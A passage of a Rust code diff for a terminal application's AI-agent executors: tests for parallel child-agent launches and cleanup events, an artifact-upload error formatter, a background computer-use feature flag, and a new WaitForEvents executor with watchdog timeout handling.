StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
executor.update(&mut app, |executor, ctx| {
|
||||
let _: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action_a,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
let _: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action_b,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
});
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert_eq!(executor.pending.len(), 2, "both pendings should be live");
|
||||
assert!(executor.pending.contains_key(&FIRST_REQUEST_ID));
|
||||
assert!(executor
|
||||
.pending
|
||||
.contains_key(&StartAgentRequestId::from_raw_for_test(1)));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn parallel_pendings_each_resolve_independently_via_recorded_child_id() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_history_persistence_for_tests(&mut app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let action_a = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
let action_b = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
let exec_a = executor.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action_a,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
result
|
||||
});
|
||||
let exec_b = executor.update(&mut app, |executor, ctx| {
|
||||
let result: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action_b,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
result
|
||||
});
|
||||
let (
|
||||
AnyActionExecution::Async {
|
||||
execute_future: future_a,
|
||||
on_complete: complete_a,
|
||||
},
|
||||
AnyActionExecution::Async {
|
||||
execute_future: future_b,
|
||||
on_complete: complete_b,
|
||||
},
|
||||
) = (exec_a, exec_b)
|
||||
else {
|
||||
panic!("expected async executions");
|
||||
};
|
||||
|
||||
let child_a = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent A".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
let child_b = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent B".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(FIRST_REQUEST_ID, child_a, ctx);
|
||||
model.record_new_conversation_request_complete(
|
||||
StartAgentRequestId::from_raw_for_test(1),
|
||||
child_b,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.update_conversation_status_with_error(
|
||||
terminal_view_id,
|
||||
child_b,
|
||||
ConversationStatus::Error,
|
||||
Some(RenderableAIError::other("Agent B init failed", false)),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
let async_b = future_b.await;
|
||||
let result_b = app.update(|ctx| complete_b(async_b, ctx));
|
||||
assert!(matches!(
|
||||
result_b,
|
||||
AIAgentActionResultType::StartAgent(StartAgentResult::Error { error, .. })
|
||||
if error == "Agent B init failed"
|
||||
));
|
||||
|
||||
executor.read(&app, |executor, _| {
|
||||
assert_eq!(
|
||||
executor.pending.len(),
|
||||
1,
|
||||
"only child_b's pending should have been removed"
|
||||
);
|
||||
assert!(executor.pending.contains_key(&FIRST_REQUEST_ID));
|
||||
});
|
||||
|
||||
drop(future_a);
|
||||
drop(complete_a);
|
||||
});
|
||||
}
|
||||
|
||||
#[derive(Default)]
|
||||
struct CapturedCleanupEvents(Vec<AIConversationId>);
|
||||
|
||||
impl Entity for CapturedCleanupEvents {
|
||||
type Event = ();
|
||||
}
|
||||
|
||||
/// Per-test handles for the launch-cleanup tests, returned by
|
||||
/// [`dispatch_pending_child_launch`].
|
||||
struct PendingChildLaunch {
|
||||
history_model: ModelHandle<BlocklistAIHistoryModel>,
|
||||
captured: ModelHandle<CapturedCleanupEvents>,
|
||||
terminal_view_id: EntityId,
|
||||
child_conversation_id: AIConversationId,
|
||||
}
|
||||
|
||||
/// Dispatches a local child launch and creates (but does not yet link) its
|
||||
/// child conversation, leaving one in-flight pending in the executor with a
|
||||
/// model subscribed to capture `CleanupFailedChildLaunch` events. Tests link
|
||||
/// the child and drive it to a terminal state, then assert on cleanup. The
|
||||
/// returned executor handle must be kept alive for the duration of the test so
|
||||
/// the executor (and its history subscription) is not dropped before the child
|
||||
/// status change is processed.
|
||||
fn dispatch_pending_child_launch(
|
||||
app: &mut App,
|
||||
) -> (PendingChildLaunch, ModelHandle<StartAgentExecutor>) {
|
||||
initialize_history_persistence_for_tests(app);
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let captured = app.add_model(|_| CapturedCleanupEvents::default());
|
||||
captured.update(app, |_, ctx| {
|
||||
ctx.subscribe_to_model(&executor, |captured, _, event, _ctx| {
|
||||
if let StartAgentExecutorEvent::CleanupFailedChildLaunch { conversation_id } = event {
|
||||
captured.0.push(*conversation_id);
|
||||
}
|
||||
});
|
||||
});
|
||||
let parent_conversation_id = history_model.update(app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
history_model.update(app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
parent_conversation_id,
|
||||
PARENT_RUN_ID.to_string(),
|
||||
None,
|
||||
terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V1,
|
||||
StartAgentExecutionMode::local_with_defaults(),
|
||||
);
|
||||
// The pending lives in the executor regardless of the returned execution,
|
||||
// and cleanup is emitted synchronously from the child status update, so the
|
||||
// action-result plumbing is discarded.
|
||||
executor.update(app, |executor, ctx| {
|
||||
let _: AnyActionExecution = executor
|
||||
.execute(
|
||||
ExecuteActionInput {
|
||||
action: &action,
|
||||
conversation_id: parent_conversation_id,
|
||||
},
|
||||
ctx,
|
||||
)
|
||||
.into();
|
||||
});
|
||||
let child_conversation_id = history_model.update(app, |history_model, ctx| {
|
||||
history_model.start_new_child_conversation(
|
||||
terminal_view_id,
|
||||
"Agent 1".to_string(),
|
||||
parent_conversation_id,
|
||||
None,
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
(
|
||||
PendingChildLaunch {
|
||||
history_model,
|
||||
captured,
|
||||
terminal_view_id,
|
||||
child_conversation_id,
|
||||
},
|
||||
executor,
|
||||
)
|
||||
}
|
||||
|
||||
/// Links the dispatched child conversation back to its pending request,
|
||||
/// which lets subsequent child status changes resolve the pending.
|
||||
fn link_pending_child(state: &PendingChildLaunch, app: &mut App) {
|
||||
state.history_model.update(app, |model, ctx| {
|
||||
model.record_new_conversation_request_complete(
|
||||
FIRST_REQUEST_ID,
|
||||
state.child_conversation_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn errored_child_launch_emits_cleanup_event() {
|
||||
App::test((), |mut app| async move {
|
||||
let (state, _executor) = dispatch_pending_child_launch(&mut app);
|
||||
link_pending_child(&state, &mut app);
|
||||
state.history_model.update(&mut app, |model, ctx| {
|
||||
model.update_conversation_status_with_error(
|
||||
state.terminal_view_id,
|
||||
state.child_conversation_id,
|
||||
ConversationStatus::Error,
|
||||
Some(RenderableAIError::other(
|
||||
"Child agent failed to spawn",
|
||||
false,
|
||||
)),
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
state.captured.read(&app, |captured, _| {
|
||||
assert_eq!(captured.0, vec![state.child_conversation_id]);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn blocked_child_launch_does_not_emit_cleanup_event() {
|
||||
App::test((), |mut app| async move {
|
||||
let (state, _executor) = dispatch_pending_child_launch(&mut app);
|
||||
link_pending_child(&state, &mut app);
|
||||
// A recoverable startup block (e.g. awaiting GitHub auth) keeps its
|
||||
// chip so the user can resolve it.
|
||||
state.history_model.update(&mut app, |model, ctx| {
|
||||
model.update_conversation_status(
|
||||
state.terminal_view_id,
|
||||
state.child_conversation_id,
|
||||
ConversationStatus::Blocked {
|
||||
blocked_action: "GitHub authentication required.".to_string(),
|
||||
},
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
state.captured.read(&app, |captured, _| {
|
||||
assert!(
|
||||
captured.0.is_empty(),
|
||||
"blocked startup should not schedule chip cleanup"
|
||||
);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn successfully_started_child_does_not_emit_cleanup_event() {
|
||||
App::test((), |mut app| async move {
|
||||
let (state, _executor) = dispatch_pending_child_launch(&mut app);
|
||||
// `OrchestrationEventStreamer::new` reads the history singleton, so it
|
||||
// must be registered after the helper registers it.
|
||||
app.add_singleton_model(|_| ServerApiProvider::new_for_test());
|
||||
app.add_singleton_model(OrchestrationEventStreamer::new);
|
||||
// Assigning a run id before linkage marks the child as started, so the
|
||||
// executor resolves the pending as a success, not a launch failure.
|
||||
state.history_model.update(&mut app, |model, ctx| {
|
||||
model.assign_run_id_for_conversation(
|
||||
state.child_conversation_id,
|
||||
uuid::Uuid::new_v4().to_string(),
|
||||
None,
|
||||
state.terminal_view_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
link_pending_child(&state, &mut app);
|
||||
|
||||
state.captured.read(&app, |captured, _| {
|
||||
assert!(
|
||||
captured.0.is_empty(),
|
||||
"a child that started successfully should not be cleaned up"
|
||||
);
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn execute_returns_error_when_remote_opencode_harness_is_requested() {
|
||||
App::test((), |mut app| async move {
|
||||
let terminal_view_id = EntityId::new();
|
||||
let history_model = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let executor = app.add_model(StartAgentExecutor::new);
|
||||
let parent_conversation_id = history_model.update(&mut app, |history_model, ctx| {
|
||||
history_model.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_start_agent_action(
|
||||
StartAgentVersion::V2,
|
||||
@@ -300,6 +1038,7 @@ fn execute_returns_error_when_remote_opencode_harness_is_requested() {
|
||||
worker_host: String::new(),
|
||||
harness_type: "opencode".to_string(),
|
||||
title: String::new(),
|
||||
auth_secret_name: None,
|
||||
},
|
||||
);
|
||||
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionResultType, AIAgentActionType, SuggestNewConversationResult,
|
||||
};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
|
||||
/// Whether the client accepted or rejected the new conversation. We make this a separate type from
|
||||
/// `SuggestNewConversationResult` for more ergonomic threading of the message_id through
|
||||
/// the various layers of action handling.
|
||||
|
||||
@@ -1,19 +1,17 @@
|
||||
use futures::{channel::oneshot, future::BoxFuture, FutureExt};
|
||||
use futures::channel::oneshot;
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxy_core::features::FeatureFlag;
|
||||
use galaxyui::{Entity, ModelContext};
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
conversation::AIConversationId, AIAgentAction, AIAgentActionId, AIAgentActionType,
|
||||
SuggestPromptRequest, SuggestPromptResult,
|
||||
},
|
||||
blocklist::action_model::execute::{
|
||||
ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput,
|
||||
},
|
||||
},
|
||||
AIAgentActionResultType,
|
||||
use crate::ai::agent::conversation::AIConversationId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionType, SuggestPromptRequest, SuggestPromptResult,
|
||||
};
|
||||
use crate::ai::blocklist::action_model::execute::{
|
||||
ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput,
|
||||
};
|
||||
use crate::AIAgentActionResultType;
|
||||
|
||||
pub struct PromptSuggestionExecutor {
|
||||
suggest_prompt_result_tx: Option<oneshot::Sender<SuggestPromptResult>>,
|
||||
|
||||
@@ -5,9 +5,13 @@ use std::path::PathBuf;
|
||||
#[path = "upload_artifact_tests.rs"]
|
||||
mod tests;
|
||||
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
use galaxyui::{Entity, EntityId, ModelContext, ModelHandle};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use crate::{
|
||||
@@ -19,10 +23,17 @@ use crate::{
|
||||
},
|
||||
server::server_api::ServerApiProvider,
|
||||
};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
use galaxyui::SingletonEntity;
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
#[cfg(not(target_family = "wasm"))]
|
||||
fn format_upload_artifact_error(err: &anyhow::Error) -> String {
|
||||
let error_chain = format!("{err:#}");
|
||||
|
||||
if error_chain != err.to_string() {
|
||||
format!("Artifact upload failed: {error_chain}")
|
||||
} else {
|
||||
error_chain
|
||||
}
|
||||
}
|
||||
|
||||
pub struct UploadArtifactExecutor {
|
||||
#[cfg_attr(target_family = "wasm", allow(dead_code))]
|
||||
@@ -148,7 +159,7 @@ impl UploadArtifactExecutor {
|
||||
})
|
||||
}
|
||||
Err(err) => AIAgentActionResultType::UploadArtifact(
|
||||
UploadArtifactResult::Error(err.to_string()),
|
||||
UploadArtifactResult::Error(format_upload_artifact_error(&err)),
|
||||
),
|
||||
},
|
||||
)
|
||||
|
||||
@@ -4,18 +4,21 @@ use std::path::{Path, PathBuf};
|
||||
use async_channel::unbounded;
|
||||
use galaxyui::{App, EntityId, ModelHandle};
|
||||
|
||||
use super::*;
|
||||
use crate::ai::agent::task::TaskId;
|
||||
use crate::ai::agent::{
|
||||
AIAgentAction, AIAgentActionId, AIAgentActionResultType, AIAgentActionType,
|
||||
UploadArtifactRequest, UploadArtifactResult,
|
||||
};
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryModel, BlocklistAIPermissions};
|
||||
use crate::ai::execution_profiles::{profiles::AIExecutionProfilesModel, ActionPermission};
|
||||
use crate::ai::execution_profiles::profiles::AIExecutionProfilesModel;
|
||||
use crate::ai::execution_profiles::ActionPermission;
|
||||
use crate::ai::mcp::templatable_manager::TemplatableMCPServerManager;
|
||||
use crate::auth::AuthStateProvider;
|
||||
use crate::cloud_object::model::persistence::CloudModel;
|
||||
use crate::network::NetworkStatus;
|
||||
use crate::server::{cloud_objects::update_manager::UpdateManager, sync_queue::SyncQueue};
|
||||
use crate::server::cloud_objects::update_manager::UpdateManager;
|
||||
use crate::server::sync_queue::SyncQueue;
|
||||
use crate::terminal::event::BlockMetadataReceivedEvent;
|
||||
use crate::terminal::model::block::BlockMetadata;
|
||||
use crate::terminal::model::session::active_session::ActiveSession;
|
||||
@@ -25,11 +28,10 @@ use crate::terminal::model_events::{ModelEvent, ModelEventDispatcher};
|
||||
use crate::terminal::shell::ShellType;
|
||||
use crate::terminal::ShellLaunchData;
|
||||
use crate::test_util::settings::initialize_settings_for_tests;
|
||||
use crate::workspaces::{team_tester::TeamTesterStatus, user_workspaces::UserWorkspaces};
|
||||
use crate::workspaces::team_tester::TeamTesterStatus;
|
||||
use crate::workspaces::user_workspaces::UserWorkspaces;
|
||||
use crate::LaunchMode;
|
||||
|
||||
use super::*;
|
||||
|
||||
fn build_upload_artifact_action(file_path: &str) -> AIAgentAction {
|
||||
AIAgentAction {
|
||||
id: AIAgentActionId::from("upload-artifact-action".to_string()),
|
||||
@@ -124,6 +126,29 @@ fn test_shell_launch_data() -> ShellLaunchData {
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn format_upload_artifact_error_preserves_full_error_chain() {
|
||||
let err = anyhow::anyhow!(
|
||||
"Artifact upload limit reached: this conversation already has the maximum allowed number of file artifacts (10). Remove an existing artifact or upload fewer files."
|
||||
)
|
||||
.context("Failed to create file artifact upload target");
|
||||
|
||||
assert_eq!(
|
||||
format_upload_artifact_error(&err),
|
||||
"Artifact upload failed: Failed to create file artifact upload target: Artifact upload limit reached: this conversation already has the maximum allowed number of file artifacts (10). Remove an existing artifact or upload fewer files."
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn format_upload_artifact_error_keeps_single_layer_errors() {
|
||||
let err = anyhow::anyhow!("Failed to open artifact file '/tmp/missing.txt'");
|
||||
|
||||
assert_eq!(
|
||||
format_upload_artifact_error(&err),
|
||||
"Failed to open artifact file '/tmp/missing.txt'"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn should_autoexecute_honors_file_read_permissions_for_resolved_path() {
|
||||
let temp_dir = tempfile::tempdir().unwrap();
|
||||
@@ -140,7 +165,7 @@ fn should_autoexecute_honors_file_read_permissions_for_resolved_path() {
|
||||
let executor =
|
||||
app.add_model(|_| UploadArtifactExecutor::new(active_session, terminal_view_id));
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_upload_artifact_action("reports/report.txt");
|
||||
|
||||
@@ -190,7 +215,7 @@ fn execute_returns_error_when_conversation_has_not_synced_to_server() {
|
||||
let executor =
|
||||
app.add_model(|_| UploadArtifactExecutor::new(active_session, terminal_view_id));
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_view_id, false, false, ctx)
|
||||
history.start_new_conversation(terminal_view_id, false, false, false, ctx)
|
||||
});
|
||||
let action = build_upload_artifact_action(&artifact_path.display().to_string());
|
||||
|
||||
|
||||
@@ -1,10 +1,11 @@
|
||||
use ai::agent::action_result::AIAgentActionResultType;
|
||||
use futures::{future::BoxFuture, FutureExt};
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use galaxyui::{Entity, ModelContext};
|
||||
|
||||
use crate::ai::agent::{AIAgentActionType, UseComputerResult};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::{AIAgentActionType, UseComputerResult};
|
||||
use crate::features::FeatureFlag;
|
||||
|
||||
pub struct UseComputerExecutor;
|
||||
|
||||
@@ -42,11 +43,20 @@ impl UseComputerExecutor {
|
||||
|
||||
let actions = request.actions.clone();
|
||||
let screenshot_params = request.screenshot_params;
|
||||
// Gate per-window targeting behind the client feature flag. When off, the actor forces the
|
||||
// legacy full-screen path so results are identical to the pre-existing implementation.
|
||||
let background_enabled = FeatureFlag::BackgroundComputerUse.is_enabled();
|
||||
ActionExecution::new_async(
|
||||
async move {
|
||||
let mut actor = computer_use::create_actor();
|
||||
match actor
|
||||
.perform_actions(&actions, computer_use::Options { screenshot_params })
|
||||
.perform_actions(
|
||||
&actions,
|
||||
computer_use::Options {
|
||||
screenshot_params,
|
||||
background_enabled,
|
||||
},
|
||||
)
|
||||
.await
|
||||
{
|
||||
Ok(result) => UseComputerResult::Success(result),
|
||||
|
||||
@@ -0,0 +1,263 @@
|
||||
//! Executor for `AIAgentActionType::WaitForEvents`.
|
||||
//!
|
||||
//! Schedules a watchdog timer so that the wait completes with `Completed`
|
||||
//! if no events arrive within the idle window.
|
||||
|
||||
use std::collections::HashMap;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::future::BoxFuture;
|
||||
use futures::FutureExt;
|
||||
use warpui::r#async::SpawnedFutureHandle;
|
||||
use warpui::{Entity, EntityId, ModelContext, SingletonEntity};
|
||||
|
||||
use super::{ActionExecution, AnyActionExecution, ExecuteActionInput, PreprocessActionInput};
|
||||
use crate::ai::agent::conversation::{AIConversationId, ConversationStatus};
|
||||
use crate::ai::agent::{AIAgentActionResultType, AIAgentActionType, WaitForEventsResult};
|
||||
use crate::ai::blocklist::orchestration_event_streamer::OrchestrationEventStreamer;
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
|
||||
/// Fallback when `idle_timeout_seconds` is unset (0). Matches the worker
|
||||
/// VM idle ceiling.
|
||||
pub(crate) const DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS: i32 = 30 * 60;
|
||||
|
||||
/// Subtracted from the server-supplied timeout so the client closes the
|
||||
/// wait before the worker idle-shutdown.
|
||||
pub(crate) const CLIENT_WATCHDOG_SAFETY_MARGIN: Duration = Duration::from_secs(30);
|
||||
|
||||
/// Lower bound after the safety-margin subtraction; keeps tiny stamped
|
||||
/// values from clamping to 0.
|
||||
pub(crate) const HARD_FLOOR: Duration = Duration::from_secs(5);
|
||||
|
||||
/// Apply the safety margin and hard floor. Non-positive input falls back
|
||||
/// to the default.
|
||||
pub(crate) fn watchdog_timeout_for_stamped_seconds(stamped_seconds: i32) -> Duration {
|
||||
let seconds = if stamped_seconds <= 0 {
|
||||
DEFAULT_ORCHESTRATED_IDLE_TIMEOUT_SECONDS
|
||||
} else {
|
||||
stamped_seconds
|
||||
};
|
||||
let stamped = Duration::from_secs(seconds as u64);
|
||||
stamped
|
||||
.checked_sub(CLIENT_WATCHDOG_SAFETY_MARGIN)
|
||||
.filter(|d| *d >= HARD_FLOOR)
|
||||
.unwrap_or(HARD_FLOOR)
|
||||
}
|
||||
|
||||
/// Currently-in-flight WaitForEvents action state.
|
||||
struct PendingWait {
|
||||
tool_call_id: String,
|
||||
sender: async_channel::Sender<WaitForEventsResult>,
|
||||
/// Handle to the watchdog timer. Aborted on cancel so the future
|
||||
/// doesn't survive up to ~30 minutes past supersede.
|
||||
watchdog_handle: SpawnedFutureHandle,
|
||||
}
|
||||
|
||||
pub struct WaitForEventsExecutor {
|
||||
terminal_view_id: EntityId,
|
||||
/// Bumped on each fresh execute(); stale watchdog closures no-op when
|
||||
/// they fire.
|
||||
conversation_generation: HashMap<AIConversationId, usize>,
|
||||
pending: HashMap<AIConversationId, PendingWait>,
|
||||
}
|
||||
|
||||
impl WaitForEventsExecutor {
|
||||
pub fn new(terminal_view_id: EntityId, _ctx: &mut ModelContext<Self>) -> Self {
|
||||
Self {
|
||||
terminal_view_id,
|
||||
conversation_generation: HashMap::new(),
|
||||
pending: HashMap::new(),
|
||||
}
|
||||
}
|
||||
|
||||
pub(super) fn should_autoexecute(
|
||||
&self,
|
||||
_input: ExecuteActionInput,
|
||||
_ctx: &mut ModelContext<Self>,
|
||||
) -> bool {
|
||||
// Synthesized from a server-emitted tool call; no confirmation.
|
||||
true
|
||||
}
|
||||
|
||||
pub(super) fn preprocess_action(
|
||||
&mut self,
|
||||
_action: PreprocessActionInput,
|
||||
_ctx: &mut ModelContext<Self>,
|
||||
) -> BoxFuture<'static, ()> {
|
||||
futures::future::ready(()).boxed()
|
||||
}
|
||||
|
||||
pub(super) fn execute(
|
||||
&mut self,
|
||||
input: ExecuteActionInput,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> impl Into<AnyActionExecution> {
|
||||
let AIAgentActionType::WaitForEvents {
|
||||
tool_call_id,
|
||||
idle_timeout_seconds,
|
||||
} = &input.action.action
|
||||
else {
|
||||
return ActionExecution::InvalidAction;
|
||||
};
|
||||
|
||||
let tool_call_id = tool_call_id.clone();
|
||||
let conversation_id = input.conversation_id;
|
||||
let timeout = watchdog_timeout_for_stamped_seconds(*idle_timeout_seconds);
|
||||
|
||||
// Blocking on descendants is the trigger to confirm parent status
|
||||
// against the server and register for the owner-side ancestor stream,
|
||||
// so children created out-of-band (Oz CLI / web API) are delivered.
|
||||
OrchestrationEventStreamer::handle(ctx).update(ctx, |streamer, ctx| {
|
||||
streamer.register_parent_on_wait(conversation_id, ctx);
|
||||
});
|
||||
|
||||
// Bump the counter so any prior watchdog closure observes a
|
||||
// stale generation.
|
||||
let generation = self
|
||||
.conversation_generation
|
||||
.entry(conversation_id)
|
||||
.or_insert(0);
|
||||
*generation += 1;
|
||||
let expected_generation = *generation;
|
||||
|
||||
// Schedule the watchdog first so we can store its handle in the
|
||||
// pending entry. The closure no-ops on a stale generation.
|
||||
let watchdog_tool_call_id = tool_call_id.clone();
|
||||
let watchdog_handle = ctx.spawn(
|
||||
async move {
|
||||
warpui::r#async::Timer::after(timeout).await;
|
||||
},
|
||||
move |me, (), ctx| {
|
||||
me.fire_watchdog_if_current(
|
||||
conversation_id,
|
||||
&watchdog_tool_call_id,
|
||||
expected_generation,
|
||||
ctx,
|
||||
);
|
||||
},
|
||||
);
|
||||
|
||||
// Replace any prior pending entry. Dropping the prior sender wakes
|
||||
// its receiver with Err and the prior watchdog is aborted so it
|
||||
// can't fire after the new wait starts.
|
||||
let (sender, receiver) = async_channel::bounded(1);
|
||||
if let Some(prev) = self.pending.insert(
|
||||
conversation_id,
|
||||
PendingWait {
|
||||
tool_call_id: tool_call_id.clone(),
|
||||
sender,
|
||||
watchdog_handle,
|
||||
},
|
||||
) {
|
||||
prev.watchdog_handle.abort();
|
||||
drop(prev.sender);
|
||||
}
|
||||
|
||||
// Flip the conversation into WaitingForEvents before returning so
|
||||
// downstream subscribers see the yield immediately.
|
||||
let terminal_view_id = self.terminal_view_id;
|
||||
BlocklistAIHistoryModel::handle(ctx).update(ctx, move |history_model, ctx| {
|
||||
history_model.update_conversation_status(
|
||||
terminal_view_id,
|
||||
conversation_id,
|
||||
ConversationStatus::WaitingForEvents,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
ActionExecution::new_async(async move { receiver.recv().await }, move |result, _ctx| {
|
||||
let wait_result = match result {
|
||||
Ok(result) => result,
|
||||
// Sender dropped via external cancellation (e.g. resume
|
||||
// injection, user query). The action_model removed this
|
||||
// action from `async_executing_actions` before dropping
|
||||
// the sender, so the spawn callback that wraps this
|
||||
// closure will suppress the result. The value here is
|
||||
// unobservable in that path; pick `Completed` defensively.
|
||||
Err(_) => WaitForEventsResult::Completed,
|
||||
};
|
||||
AIAgentActionResultType::WaitForEvents(wait_result)
|
||||
})
|
||||
}
|
||||
|
||||
/// Drop the in-flight wait so a later watchdog fire is a no-op.
|
||||
/// Caller (`BlocklistAIActionExecutor::cancel_running_async_action`)
|
||||
/// has already removed the action from `async_executing_actions`, so
|
||||
/// the spawn callback will silently discard the result that surfaces
|
||||
/// from the dropped sender.
|
||||
pub(crate) fn cancel_execution(&mut self, tool_call_id: &str) {
|
||||
let Some(conversation_id) = self
|
||||
.pending
|
||||
.iter()
|
||||
.find(|(_, pending)| pending.tool_call_id == tool_call_id)
|
||||
.map(|(id, _)| *id)
|
||||
else {
|
||||
return;
|
||||
};
|
||||
let Some(pending) = self.pending.remove(&conversation_id) else {
|
||||
return;
|
||||
};
|
||||
if let Some(gen) = self.conversation_generation.get_mut(&conversation_id) {
|
||||
*gen += 1;
|
||||
}
|
||||
pending.watchdog_handle.abort();
|
||||
drop(pending.sender);
|
||||
}
|
||||
|
||||
fn fire_watchdog_if_current(
|
||||
&mut self,
|
||||
conversation_id: AIConversationId,
|
||||
tool_call_id: &str,
|
||||
expected_generation: usize,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) {
|
||||
if self
|
||||
.conversation_generation
|
||||
.get(&conversation_id)
|
||||
.copied()
|
||||
.unwrap_or(0)
|
||||
!= expected_generation
|
||||
{
|
||||
return;
|
||||
}
|
||||
let Some(pending) = self.pending.get(&conversation_id) else {
|
||||
return;
|
||||
};
|
||||
if pending.tool_call_id != tool_call_id {
|
||||
return;
|
||||
}
|
||||
// Defensive: only fire if the conversation is still waiting. If
|
||||
// some other path transitioned the conversation out of
|
||||
// `WaitingForEvents` without going through `cancel_execution`,
|
||||
// sending `Completed` now would inject a stale tool-call result
|
||||
// into a conversation the server has long since moved past.
|
||||
let still_waiting = BlocklistAIHistoryModel::as_ref(ctx)
|
||||
